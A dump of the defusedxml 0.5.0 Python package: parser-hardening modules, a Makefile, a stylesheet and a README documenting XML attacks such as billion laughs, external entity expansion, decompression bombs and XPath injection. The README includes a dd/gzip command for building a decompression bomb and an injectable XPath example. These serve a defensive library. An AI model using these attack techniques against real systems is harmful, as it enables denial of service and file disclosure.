open(file, 'rb') try: result = builder.parseFile(fp) finally: fp.close() else: result = builder.parseFile(file) return result def parseString(string, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True): """Parse a document from a string, returning the resulting Document node. """ if namespaces: build_builder = DefusedExpatBuilderNS else: build_builder = DefusedExpatBuilder builder = build_builder(forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external) return builder.parseString(string) defusedxml-0.5.0/defusedxml/ElementTree.py0000664000175000017500000000726613043120735021360 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xml.etree.ElementTree facade """ from __future__ import print_function, absolute_import import sys from xml.etree.ElementTree import TreeBuilder as _TreeBuilder from xml.etree.ElementTree import parse as _parse from xml.etree.ElementTree import tostring from .common import PY3 if PY3: import importlib else: from xml.etree.ElementTree import XMLParser as _XMLParser from xml.etree.ElementTree import iterparse as _iterparse from xml.etree.ElementTree import ParseError from .common import (DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, _generate_etree_functions) __origin__ = "xml.etree.ElementTree" def _get_py3_cls(): """Python 3.3 hides the pure Python code but defusedxml requires it. The code is based on test.support.import_fresh_module(). """ pymodname = "xml.etree.ElementTree" cmodname = "_elementtree" pymod = sys.modules.pop(pymodname, None) cmod = sys.modules.pop(cmodname, None) sys.modules[cmodname] = None pure_pymod = importlib.import_module(pymodname) if cmod is not None: sys.modules[cmodname] = cmod else: sys.modules.pop(cmodname) sys.modules[pymodname] = pymod _XMLParser = pure_pymod.XMLParser _iterparse = pure_pymod.iterparse ParseError = pure_pymod.ParseError return _XMLParser, _iterparse, ParseError if PY3: _XMLParser, _iterparse, ParseError = _get_py3_cls() class DefusedXMLParser(_XMLParser): def __init__(self, html=0, target=None, encoding=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): # Python 2.x old style class _XMLParser.__init__(self, html, target, encoding) self.forbid_dtd = forbid_dtd self.forbid_entities = forbid_entities self.forbid_external = forbid_external if PY3: parser = self.parser else: parser = self._parser if self.forbid_dtd: parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl if self.forbid_entities: parser.EntityDeclHandler = self.defused_entity_decl parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl if self.forbid_external: parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset): raise DTDForbidden(name, sysid, pubid) def defused_entity_decl(self, name, is_parameter_entity, value, base, sysid, pubid, notation_name): raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name) def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name): # expat 1.2 raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) def defused_external_entity_ref_handler(self, context, base, sysid, pubid): raise ExternalReferenceForbidden(context, base, sysid, pubid) # aliases XMLTreeBuilder = XMLParse = DefusedXMLParser parse, iterparse, fromstring = _generate_etree_functions(DefusedXMLParser, _TreeBuilder, _parse, _iterparse) XML = fromstring __all__ = ['XML', 'XMLParse', 'XMLTreeBuilder', 'fromstring', 'iterparse', 'parse', 'tostring'] defusedxml-0.5.0/defusedxml/minidom.py0000664000175000017500000000351113043120735020570 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xml.dom.minidom """ from __future__ import print_function, absolute_import from xml.dom.minidom import _do_pulldom_parse from . import expatbuilder as _expatbuilder from . import pulldom as _pulldom __origin__ = "xml.dom.minidom" def parse(file, parser=None, bufsize=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): """Parse a file into a DOM by filename or file object.""" if parser is None and not bufsize: return _expatbuilder.parse(file, forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external) else: return _do_pulldom_parse(_pulldom.parse, (file,), {'parser': parser, 'bufsize': bufsize, 'forbid_dtd': forbid_dtd, 'forbid_entities': forbid_entities, 'forbid_external': forbid_external}) def parseString(string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): """Parse a file into a DOM from a string.""" if parser is None: return _expatbuilder.parseString(string, forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external) else: return _do_pulldom_parse(_pulldom.parseString, (string,), {'parser': parser, 'forbid_dtd': forbid_dtd, 'forbid_entities': forbid_entities, 'forbid_external': forbid_external}) defusedxml-0.5.0/defusedxml/cElementTree.py0000664000175000017500000000201713043120735021510 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xml.etree.cElementTree """ from __future__ import absolute_import from xml.etree.cElementTree import TreeBuilder as _TreeBuilder from xml.etree.cElementTree import parse as _parse from xml.etree.cElementTree import tostring # iterparse from ElementTree! from xml.etree.ElementTree import iterparse as _iterparse from .ElementTree import DefusedXMLParser from .common import _generate_etree_functions __origin__ = "xml.etree.cElementTree" XMLTreeBuilder = XMLParse = DefusedXMLParser parse, iterparse, fromstring = _generate_etree_functions(DefusedXMLParser, _TreeBuilder, _parse, _iterparse) XML = fromstring __all__ = ['XML', 'XMLParse', 'XMLTreeBuilder', 'fromstring', 'iterparse', 'parse', 'tostring'] defusedxml-0.5.0/defusedxml/__init__.py0000664000175000017500000000244513047075147020712 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defuse XML bomb denial of service vulnerabilities """ from __future__ import print_function, absolute_import from .common import (DefusedXmlException, DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, NotSupportedError, _apply_defusing) def defuse_stdlib(): """Monkey patch and defuse all stdlib packages :warning: The monkey patch is an EXPERIMETNAL feature. """ defused = {} from . import cElementTree from . import ElementTree from . import minidom from . import pulldom from . import sax from . import expatbuilder from . import expatreader from . import xmlrpc xmlrpc.monkey_patch() defused[xmlrpc] = None for defused_mod in [cElementTree, ElementTree, minidom, pulldom, sax, expatbuilder, expatreader]: stdlib_mod = _apply_defusing(defused_mod) defused[defused_mod] = stdlib_mod return defused __version__ = "0.5.0" __all__ = ['DefusedXmlException', 'DTDForbidden', 'EntitiesForbidden', 'ExternalReferenceForbidden', 'NotSupportedError'] defusedxml-0.5.0/void.css0000664000175000017500000001436312757100071016106 0ustar heimesheimes00000000000000/* Stylesheet for Docutils. Based on `blue_box.css` by Ian Bicking and `voidspace.css` by Ian Bicking, Michael Foord and `html4css1.css` */ .borderless, table.borderless td, table.borderless th { border: 0; } table.borderless td, table.borderless th { padding: 0 0.5em 0 0 ! important; } .first { margin-top: 0 ! important; } .last, .with-subtitle { margin-bottom: 0 ! important; } .hidden { display: none; } a.toc-backref { color: black; text-decoration: none; } blockquote.epigraph { margin: 2em 5em; } dl.docutils dd { margin-bottom: 0.5em; } object[type="image/svg+xml"], object[type="application/x-shockwave-flash"] { overflow: hidden; } div.abstract { margin: 2em 5em; } div.abstract p.topic-title { font-weight: bold; text-align: center; } div.admonition, div.attention, div.caution, div.danger, div.error, div.hint, div.important, div.note, div.tip, div.warning { border: medium outset; margin: 2em; padding: 1em; } div.admonition p.admonition-title, div.hint p.admonition-title, div.important p.admonition-title, div.note p.admonition-title, div.tip p.admonition-title { font-family: sans-serif; font-weight: bold; } div.attention p.admonition-title, div.caution p.admonition-title, div.danger p.admonition-title, div.error p.admonition-title, div.warning p.admonition-title { color: red; font-family: sans-serif; font-weight: bold; } div.dedication { font-style: italic; margin: 2em 5em; text-align: center; } div.dedication p.topic-title { font-style: normal; font-weight: bold; } div.figure { margin-left: 2em; margin-right: 2em; } div.footer, div.header { clear: both; font-size: smaller; } div.line-block { display: block; margin-bottom: 1em; margin-top: 1em; } div.line-block div.line-block { margin-bottom: 0; margin-left: 1.5em; margin-top: 0; } div.sidebar { background-color: #ffffee; border: medium outset; clear: right; float: right; margin: 0 0 0.5em 1em; padding: 1em; width: 40%; } div.sidebar p.rubric { font-family: sans-serif; font-size: medium; } div.system-messages { margin: 5em; } div.system-messages h1 { color: red; } div.system-message { border: medium outset; padding: 1em; } div.system-message p.system-message-title { color: red; font-weight: bold; } div.topic { margin: 2em; } h1.section-subtitle, h2.section-subtitle, h3.section-subtitle, h4.section-subtitle, h5.section-subtitle, h6.section-subtitle { margin-top: 0.4em; } h1.title { text-align: center; } h2.subtitle { text-align: center; } hr.docutils { width: 75%; } img.align-left, .figure.align-left, object.align-left { clear: left; float: left; margin-right: 1em; } img.align-right, .figure.align-right, object.align-right { clear: right; float: right; margin-left: 1em; } img.align-center, .figure.align-center, object.align-center { display: block; margin-left: auto; margin-right: auto; } .align-left { text-align: left; } .align-center { clear: both; text-align: center; } .align-right { text-align: right; } div.align-right { text-align: inherit; } ol.simple, ul.simple { margin-bottom: 1em; } ol.arabic { list-style: decimal; } ol.loweralpha { list-style: lower-alpha; } ol.upperalpha { list-style: upper-alpha; } ol.lowerroman { list-style: lower-roman; } ol.upperroman { list-style: upper-roman; } p.attribution { margin-left: 50%; text-align: right; } p.caption { font-style: italic; } p.credits { font-size: smaller; font-style: italic; } p.label { white-space: nowrap; } p.rubric { color: maroon; font-size: larger; font-weight: bold; text-align: center; } p.sidebar-title { font-family: sans-serif; font-size: larger; font-weight: bold; } p.sidebar-subtitle { font-family: sans-serif; font-weight: bold; } p.topic-title { font-weight: bold; } pre.address { font: inherit; margin-bottom: 0; margin-top: 0; } pre.literal-block, pre.doctest-block, pre.math { margin-left: 2em; margin-right: 2em; background-color: #eeeeee; } span.classifier { font-family: sans-serif; font-style: oblique; } span.classifier-delimiter { font-family: sans-serif; font-weight: bold; } span.interpreted { font-family: sans-serif; } span.option { white-space: nowrap; } span.pre { white-space: pre; } span.problematic { color: red; } span.section-subtitle { font-size: 80%; } table.citation { border-left: solid 1px gray; margin-left: 1px; } table.docinfo { margin: 2em 4em; } table.docutils { margin-bottom: 0.5em; margin-top: 0.5em; } table.footnote { border-left: solid 1px black; margin-left: 1px; } table.docutils td, table.docutils th, table.docinfo td, table.docinfo th { padding-left: 0.5em; padding-right: 0.5em; vertical-align: top; } table.docutils th.field-name, table.docinfo th.docinfo-name { font-weight: bold; padding-left: 0; text-align: left; white-space: nowrap; } h1 tt.docutils, h2 tt.docutils, h3 tt.docutils, h4 tt.docutils, h5 tt.docutils, h6 tt.docutils { font-size: 100%; } ul.auto-toc { list-style-type: none; } body { font-family: Arial, sans-serif; margin-left: auto; margin-right: auto; width: 800px; } em, i { font-family: Times New Roman, Times, serif; } a.target { color: blue; } a.target { color: blue; } a.toc-backref { color: black; text-decoration: none; } a.toc-backref:hover { background-color: inherit; } a:hover { background-color: #cccccc; } div.attention, div.caution, div.danger, div.error, div.hint, div.important, div.note, div.tip, div.warning { padding: 3px; width: 80%; } div.admonition p.admonition-title, div.hint p.admonition-title, div.important p.admonition-title, div.note p.admonition-title, div.tip p.admonition-title { display: block; margin: 0; text-align: center; } div.attention p.admonition-title, div.caution p.admonition-title, div.danger p.admonition-title, div.error p.admonition-title, div.warning p.admonition-title { display: block; font-family: sans-serif; margin: 0; text-align: center; } h1.title { text-align: center; } table.footnote { padding-left: 0.5ex; } table.citation { padding-left: 0.5ex; } pre.literal-block, pre.doctest-block { padding: 5px; } h1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt { font-size: 100%; } code, tt { color: #000066; } p { text-align: justify; } dt { font-weight: bold; } tt.literal { background-color: #eeeeee; } h1 { border-bottom: solid 1px black; padding-top: 20px; } caption { margin-bottom: 0.4em; font-weight: bold; font-size: 120%; } defusedxml-0.5.0/Makefile0000664000175000017500000000310713043120735016063 0ustar heimesheimes00000000000000PYTHON=python SETUPFLAGS= COMPILEFLAGS= INSTALLFLAGS= PYTHONS=python2.6 python2.7 python3.1 python3.2 python3.3 python3.4 .PHONY: inplace all rebuild test_inplace test fulltests clean distclean .PHONY: sdist install all: inplace README.html README.md README.md: README.txt CHANGES.txt pandoc --from=rst --to=markdown README.txt > $@ pandoc --from=rst --to=markdown CHANGES.txt >> $@ README.html: README.txt CHANGES.txt void.css @echo | cat README.txt - CHANGES.txt | \ rst2html --verbose --exit-status=1 --stylesheet=void.css \ > README.html inplace: $(PYTHON) setup.py $(SETUPFLAGS) build_ext -i $(COMPILEFLAGS) rebuild: clean all test_inplace: inplace $(PYTHON) -m tests test: test_inplace fulltest: $(MAKE) clean @set -e; \ for python in $(PYTHONS); do \ if [ -z $$(which $$python) ]; then \ echo "*** $$python not found ***\n"; \ continue; \ fi; \ echo "*** $$python ***"; \ $$python $(SETUPFLAGS) setup.py -q test; \ echo ""; \ done $(MAKE) clean clean: @find . \( -name '*.o' -or -name '*.so' -or -name '*.sl' -or \ -name '*.py[cod]' -or -name README.html \) \ -and -type f -delete distclean: clean @rm -rf build @rm -rf dist @find . \( -name '~*' -or -name '*.orig' -or -name '*.bak' -or \ -name 'core*' \) -and -type f -delete whitespace: @find \( -name '*.rst' -or -name '*.py' -or -name '*.xml' \) | \ xargs sed -i 's/[ \t]*$$//' packages: README.html README.md $(PYTHON) setup.py packages install: $(PYTHON) setup.py $(SETUPFLAGS) build $(COMPILEFLAGS) $(PYTHON) setup.py install $(INSTALLFLAGS) defusedxml-0.5.0/README.txt0000664000175000017500000006450713043120735016134 0ustar heimesheimes00000000000000=================================================== defusedxml -- defusing XML bombs and other exploits =================================================== "It's just XML, what could probably go wrong?" Christian Heimes Synopsis ======== The results of an attack on a vulnerable XML library can be fairly dramatic. With just a few hundred **Bytes** of XML data an attacker can occupy several **Gigabytes** of memory within **seconds**. An attacker can also keep CPUs busy for a long time with a small to medium size request. Under some circumstances it is even possible to access local files on your server, to circumvent a firewall, or to abuse services to rebound attacks to third parties. The attacks use and abuse less common features of XML and its parsers. The majority of developers are unacquainted with features such as processing instructions and entity expansions that XML inherited from SGML. At best they know about ```` from experience with HTML but they are not aware that a document type definition (DTD) can generate an HTTP request or load a file from the file system. None of the issues is new. They have been known for a long time. Billion laughs was first reported in 2003. Nevertheless some XML libraries and applications are still vulnerable and even heavy users of XML are surprised by these features. It's hard to say whom to blame for the situation. It's too short sighted to shift all blame on XML parsers and XML libraries for using insecure default settings. After all they properly implement XML specifications. Application developers must not rely that a library is always configured for security and potential harmful data by default. .. contents:: Table of Contents :depth: 2 Attack vectors ============== billion laughs / exponential entity expansion --------------------------------------------- The `Billion Laughs`_ attack -- also known as exponential entity expansion -- uses multiple levels of nested entities. The original example uses 9 levels of 10 expansions in each level to expand the string ``lol`` to a string of 3 * 10 :sup:`9` bytes, hence the name "billion laughs". The resulting string occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional memory. Because most parsers don't cache the intermediate step for every expansion it is repeated over and over again. It increases the CPU load even more. An XML document of just a few hundred bytes can disrupt all services on a machine within seconds. Example XML:: ]> &d; quadratic blowup entity expansion --------------------------------- A quadratic blowup attack is similar to a `Billion Laughs`_ attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn't as efficient as the exponential case but it avoids triggering countermeasures of parsers against heavily nested entities. Some parsers limit the depth and breadth of a single entity but not the total amount of expanded text throughout an entire XML document. A medium-sized XML document with a couple of hundred kilobytes can require a couple of hundred MB to several GB of memory. When the attack is combined with some level of nested expansion an attacker is able to achieve a higher ratio of success. :: ]> &a;&a;&a;... repeat external entity expansion (remote) ---------------------------------- Entity declarations can contain more than just text for replacement. They can also point to external resources by public identifiers or system identifiers. System identifiers are standard URIs. When the URI is a URL (e.g. a ``http://`` locator) some parsers download the resource from the remote location and embed them into the XML document verbatim. Simple example of a parsed external entity:: ]> ⅇ The case of parsed external entities works only for valid XML content. The XML standard also supports unparsed external entities with a ``NData declaration``. External entity expansion opens the door to plenty of exploits. An attacker can abuse a vulnerable XML library and application to rebound and forward network requests with the IP address of the server. It highly depends on the parser and the application what kind of exploit is possible. For example: * An attacker can circumvent firewalls and gain access to restricted resources as all the requests are made from an internal and trustworthy IP address, not from the outside. * An attacker can abuse a service to attack, spy on or DoS your servers but also third party services. The attack is disguised with the IP address of the server and the attacker is able to utilize the high bandwidth of a big machine. * An attacker can exhaust additional resources on the machine, e.g. with requests to a service that doesn't respond or responds with very large files. * An attacker may gain knowledge, when, how often and from which IP address a XML document is accessed. * An attacker could send mail from inside your network if the URL handler supports ``smtp://`` URIs. external entity expansion (local file) -------------------------------------- External entities with references to local files are a sub-case of external entity expansion. It's listed as an extra attack because it deserves extra attention. Some XML libraries such as lxml disable network access by default but still allow entity expansion with local file access by default. Local files are either referenced with a ``file://`` URL or by a file path (either relative or absolute). An attacker may be able to access and download all files that can be read by the application process. This may include critical configuration files, too. :: ]> ⅇ DTD retrieval ------------- This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well. :: text Python XML Libraries ==================== .. csv-table:: vulnerabilities and features :header: "kind", "sax", "etree", "minidom", "pulldom", "xmlrpc", "lxml", "genshi" :widths: 24, 7, 8, 8, 7, 8, 8, 8 :stub-columns: 0 "billion laughs", "**True**", "**True**", "**True**", "**True**", "**True**", "False (1)", "False (5)" "quadratic blowup", "**True**", "**True**", "**True**", "**True**", "**True**", "**True**", "False (5)" "external entity expansion (remote)", "**True**", "False (3)", "False (4)", "**True**", "false", "False (1)", "False (5)" "external entity expansion (local file)", "**True**", "False (3)", "False (4)", "**True**", "false", "**True**", "False (5)" "DTD retrieval", "**True**", "False", "False", "**True**", "false", "False (1)", "False" "gzip bomb", "False", "False", "False", "False", "**True**", "**partly** (2)", "False" "xpath support (7)", "False", "False", "False", "False", "False", "**True**", "False" "xsl(t) support (7)", "False", "False", "False", "False", "False", "**True**", "False" "xinclude support (7)", "False", "**True** (6)", "False", "False", "False", "**True** (6)", "**True**" "C library", "expat", "expat", "expat", "expat", "expat", "libxml2", "expat" 1. Lxml is protected against billion laughs attacks and doesn't do network lookups by default. 2. libxml2 and lxml are not directly vulnerable to gzip decompression bombs but they don't protect you against them either. 3. xml.etree doesn't expand entities and raises a ParserError when an entity occurs. 4. minidom doesn't expand entities and simply returns the unexpanded entity verbatim. 5. genshi.input of genshi 0.6 doesn't support entity expansion and raises a ParserError when an entity occurs. 6. Library has (limited) XInclude support but requires an additional step to process inclusion. 7. These are features but they may introduce exploitable holes, see `Other things to consider`_ Settings in standard library ---------------------------- xml.sax.handler Features ........................ feature_external_ges (http://xml.org/sax/features/external-general-entities) disables external entity expansion feature_external_pes (http://xml.org/sax/features/external-parameter-entities) the option is ignored and doesn't modify any functionality DOM xml.dom.xmlbuilder.Options .............................. external_parameter_entities ignored external_general_entities ignored external_dtd_subset ignored entities unsure defusedxml ========== The `defusedxml package`_ (`defusedxml on PyPI`_) contains several Python-only workarounds and fixes for denial of service and other vulnerabilities in Python's XML libraries. In order to benefit from the protection you just have to import and use the listed functions / classes from the right defusedxml module instead of the original module. Merely `defusedxml.xmlrpc`_ is implemented as monkey patch. Instead of:: >>> from xml.etree.ElementTree import parse >>> et = parse(xmlfile) alter code to:: >>> from defusedxml.ElementTree import parse >>> et = parse(xmlfile) Additionally the package has an **untested** function to monkey patch all stdlib modules with ``defusedxml.defuse_stdlib()``. All functions and parser classes accept three additional keyword arguments. They return either the same objects as the original functions or compatible subclasses. forbid_dtd (default: False) disallow XML with a ```` processing instruction and raise a *DTDForbidden* exception when a DTD processing instruction is found. forbid_entities (default: True) disallow XML with ```` declarations inside the DTD and raise an *EntitiesForbidden* exception when an entity is declared. forbid_external (default: True) disallow any access to remote or local resources in external entities or DTD and raising an *ExternalReferenceForbidden* exception when a DTD or entity references an external resource. defusedxml (package) -------------------- DefusedXmlException, DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, NotSupportedError defuse_stdlib() (*experimental*) defusedxml.cElementTree ----------------------- parse(), iterparse(), fromstring(), XMLParser defusedxml.ElementTree ----------------------- parse(), iterparse(), fromstring(), XMLParser defusedxml.expatreader ---------------------- create_parser(), DefusedExpatParser defusedxml.sax -------------- parse(), parseString(), create_parser() defusedxml.expatbuilder ----------------------- parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS defusedxml.minidom ------------------ parse(), parseString() defusedxml.pulldom ------------------ parse(), parseString() defusedxml.xmlrpc ----------------- The fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x) or xmlrpclib module (2.x). The function `monkey_patch()` enables the fixes, `unmonkey_patch()` removes the patch and puts the code in its former state. The monkey patch protects against XML related attacks as well as decompression bombs and excessively large requests or responses. The default setting is 30 MB for requests, responses and gzip decompression. You can modify the default by changing the module variable `MAX_DATA`. A value of `-1` disables the limit. defusedxml.lxml --------------- The module acts as an *example* how you could protect code that uses lxml.etree. It implements a custom Element class that filters out Entity instances, a custom parser factory and a thread local storage for parser instances. It also has a check_docinfo() function which inspects a tree for internal or external DTDs and entity declarations. In order to check for entities lxml > 3.0 is required. parse(), fromstring() RestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo() defusedexpat ============ The `defusedexpat package`_ (`defusedexpat on PyPI`_) comes with binary extensions and a `modified expat`_ libary instead of the standard `expat parser`_. It's basically a stand-alone version of the patches for Python's standard library C extensions. Modifications in expat ---------------------- new definitions:: XML_BOMB_PROTECTION XML_DEFAULT_MAX_ENTITY_INDIRECTIONS XML_DEFAULT_MAX_ENTITY_EXPANSIONS XML_DEFAULT_RESET_DTD new XML_FeatureEnum members:: XML_FEATURE_MAX_ENTITY_INDIRECTIONS XML_FEATURE_MAX_ENTITY_EXPANSIONS XML_FEATURE_IGNORE_DTD new XML_Error members:: XML_ERROR_ENTITY_INDIRECTIONS XML_ERROR_ENTITY_EXPANSION new API functions:: int XML_GetFeature(XML_Parser parser, enum XML_FeatureEnum feature, long *value); int XML_SetFeature(XML_Parser parser, enum XML_FeatureEnum feature, long value); int XML_GetFeatureDefault(enum XML_FeatureEnum feature, long *value); int XML_SetFeatureDefault(enum XML_FeatureEnum feature, long value); XML_FEATURE_MAX_ENTITY_INDIRECTIONS Limit the amount of indirections that are allowed to occur during the expansion of a nested entity. A counter starts when an entity reference is encountered. It resets after the entity is fully expanded. The limit protects the parser against exponential entity expansion attacks (aka billion laughs attack). When the limit is exceeded the parser stops and fails with `XML_ERROR_ENTITY_INDIRECTIONS`. A value of 0 disables the protection. Supported range 0 .. UINT_MAX Default 40 XML_FEATURE_MAX_ENTITY_EXPANSIONS Limit the total length of all entity expansions throughout the entire document. The lengths of all entities are accumulated in a parser variable. The setting protects against quadratic blowup attacks (lots of expansions of a large entity declaration). When the sum of all entities exceeds the limit, the parser stops and fails with `XML_ERROR_ENTITY_EXPANSION`. A value of 0 disables the protection. Supported range 0 .. UINT_MAX Default 8 MiB XML_FEATURE_RESET_DTD Reset all DTD information after the block has been parsed. When the flag is set (default: false) all DTD information after the endDoctypeDeclHandler has been called. The flag can be set inside the endDoctypeDeclHandler. Without DTD information any entity reference in the document body leads to `XML_ERROR_UNDEFINED_ENTITY`. Supported range 0, 1 Default 0 How to avoid XML vulnerabilities ================================ Best practices -------------- * Don't allow DTDs * Don't expand entities * Don't resolve externals * Limit parse depth * Limit total input size * Limit parse time * Favor a SAX or iterparse-like parser for potential large data * Validate and properly quote arguments to XSL transformations and XPath queries * Don't use XPath expression from untrusted sources * Don't apply XSL transformations that come untrusted sources (based on Brad Hill's `Attacking XML Security`_) Other things to consider ======================== XML, XML parsers and processing libraries have more features and possible issue that could lead to DoS vulnerabilities or security exploits in applications. I have compiled an incomplete list of theoretical issues that need further research and more attention. The list is deliberately pessimistic and a bit paranoid, too. It contains things that might go wrong under daffy circumstances. attribute blowup / hash collision attack ---------------------------------------- XML parsers may use an algorithm with quadratic runtime O(n :sup:`2`) to handle attributes and namespaces. If it uses hash tables (dictionaries) to store attributes and namespaces the implementation may be vulnerable to hash collision attacks, thus reducing the performance to O(n :sup:`2`) again. In either case an attacker is able to forge a denial of service attack with an XML document that contains thousands upon thousands of attributes in a single node. I haven't researched yet if expat, pyexpat or libxml2 are vulnerable. decompression bomb ------------------ The issue of decompression bombs (aka `ZIP bomb`_) apply to all XML libraries that can parse compressed XML stream like gzipped HTTP streams or LZMA-ed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB, lzma is even better:: $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy $ ls -sh zeros.* 1020K zeros.gz 148K zeros.xy None of Python's standard XML libraries decompress streams except for ``xmlrpclib``. The module is vulnerable to decompression bombs. lxml can load and process compressed data through libxml2 transparently. libxml2 can handle even very large blobs of compressed data efficiently without using too much memory. But it doesn't protect applications from decompression bombs. A carefully written SAX or iterparse-like approach can be safe. Processing Instruction ---------------------- `PI`_'s like:: may impose more threats for XML processing. It depends if and how a processor handles processing instructions. The issue of URL retrieval with network or local file access apply to processing instructions, too. Other DTD features ------------------ `DTD`_ has more features like ````. I haven't researched how these features may be a security threat. XPath ----- XPath statements may introduce DoS vulnerabilities. Code should never execute queries from untrusted sources. An attacker may also be able to create a XML document that makes certain XPath queries costly or resource hungry. XPath injection attacks ----------------------- XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page `Avoid the dangers of XPath injection`_ list some ramifications of XPath injections. Python's standard library doesn't have XPath support. Lxml supports parameterized XPath queries which does proper quoting. You just have to use its xpath() method correctly:: # DON'T >>> tree.xpath("/tag[@id='%s']" % value) # instead do >>> tree.xpath("/tag[@id=$tagid]", tagid=name) XInclude -------- `XML Inclusion`_ is another way to load and include external files:: This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories. XMLSchema location ------------------ A validating XML parser may download schema files from the information in a ``xsi:schemaLocation`` attribute. :: XSL Transformation ------------------ You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython. Example from `Attacking XML Security`_ for Xalan-J:: Related CVEs ============ CVE-2013-1664 Unrestricted entity expansion induces DoS vulnerabilities in Python XML libraries (XML bomb) CVE-2013-1665 External entity expansion in Python XML libraries inflicts potential security flaws and DoS vulnerabilities Other languages / frameworks ============================= Several other programming languages and frameworks are vulnerable as well. A couple of them are affected by the fact that libxml2 up to 2.9.0 has no protection against quadratic blowup attacks. Most of them have potential dangerous default settings for entity expansion and external entities, too. Perl ---- Perl's XML::Simple is vulnerable to quadratic entity expansion and external entity expansion (both local and remote). Ruby ---- Ruby's REXML document parser is vulnerable to entity expansion attacks (both quadratic and exponential) but it doesn't do external entity expansion by default. In order to counteract entity expansion you have to disable the feature:: REXML::Document.entity_expansion_limit = 0 libxml-ruby and hpricot don't expand entities in their default configuration. PHP --- PHP's SimpleXML API is vulnerable to quadratic entity expansion and loads entites from local and remote resources. The option ``LIBXML_NONET`` disables network access but still allows local file access. ``LIBXML_NOENT`` seems to have no effect on entity expansion in PHP 5.4.6. C# / .NET / Mono ---------------- Information in `XML DoS and Defenses (MSDN)`_ suggest that .NET is vulnerable with its default settings. The article contains code snippets how to create a secure XML reader:: XmlReaderSettings settings = new XmlReaderSettings(); settings.ProhibitDtd = false; settings.MaxCharactersFromEntities = 1024; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings); Java ---- Untested. The documentation of Xerces and its `Xerces SecurityMananger`_ sounds like Xerces is also vulnerable to billion laugh attacks with its default settings. It also does entity resolving when an ``org.xml.sax.EntityResolver`` is configured. I'm not yet sure about the default setting here. Java specialists suggest to have a custom builder factory:: DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setXIncludeAware(False); builderFactory.setExpandEntityReferences(False); builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True); # either builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True); # or if you need DTDs builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False); builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False); builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False); builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False); TODO ==== * DOM: Use xml.dom.xmlbuilder options for entity handling * SAX: take feature_external_ges and feature_external_pes (?) into account * test experimental monkey patching of stdlib modules * improve documentation License ======= Copyright (c) 2013-2017 by Christian Heimes Licensed to PSF under a Contributor Agreement. See http://www.python.org/psf/license for licensing details. Acknowledgements ================ Brett Cannon (Python Core developer) review and code cleanup Antoine Pitrou (Python Core developer) code review Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community) Many thanks to Aaron, Ben and Michael from the Ruby community for their report and assistance. Thierry Carrez (OpenStack) Many thanks to Thierry for his report to the Python Security Response Team on behalf of the OpenStack security team. Carl Meyer (Django) Many thanks to Carl for his report to PSRT on behalf of the Django security team. Daniel Veillard (libxml2) Many thanks to Daniel for his insight and assistance with libxml2. semantics GmbH (http://www.semantics.de/) Many thanks to my employer semantics for letting me work on the issue during working hours as part of semantics's open source initiative. References ========== * `XML DoS and Defenses (MSDN)`_ * `Billion Laughs`_ on Wikipedia * `ZIP bomb`_ on Wikipedia * `Configure SAX parsers for secure processing`_ * `Testing for XML Injection`_ .. _defusedxml package: https://bitbucket.org/tiran/defusedxml .. _defusedxml on PyPI: https://pypi.python.org/pypi/defusedxml .. _defusedexpat package: https://bitbucket.org/tiran/defusedexpat .. _defusedexpat 